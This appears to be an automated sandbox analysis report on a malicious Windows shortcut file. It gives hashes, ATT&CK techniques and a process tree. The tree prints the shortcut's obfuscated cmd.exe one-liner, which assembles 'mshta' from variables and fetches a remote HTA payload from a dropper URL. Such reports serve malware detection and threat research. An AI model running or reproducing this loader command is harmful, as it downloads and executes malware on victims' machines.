bfbc8ddf188728e42384ab3935bb9054783f18477a4b74a81a1e379aef1c61d7

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:29

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General

Target
DOC-6T27AZ.lnk
Size 1KB
Sample260804-kdswxabj91
SHA256 bfbc8ddf188728e42384ab3935bb9054783f18477a4b74a81a1e379aef1c61d7
MD5 b1adaf0645f9bb8a96deea4e77d6f52f
SHA1 8b02aaa84b861c52815ac6a39d2d936d5e5548cf
SHA512 5bce9044aac4374c25960d8b6d0880efeff02a1e82e884a3ab11c594cc067deb6055ec9fdc6b4d5634132f4d6d57ecb504d071589167ccd03e163d11c2fc10c4
TLSH
T16E3147503FED0664F3B78E7794BB672485BFB9968E20CA2E0141454C5032A16F17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2736	cmd.exe
4532	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 2736	4532	cmd.exe	91
PID 2736 wrote to memory of 468	2736	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-6T27AZ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4532
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set Xgew=msh&&set YUu=ta&&start "" !Xgew!!YUu! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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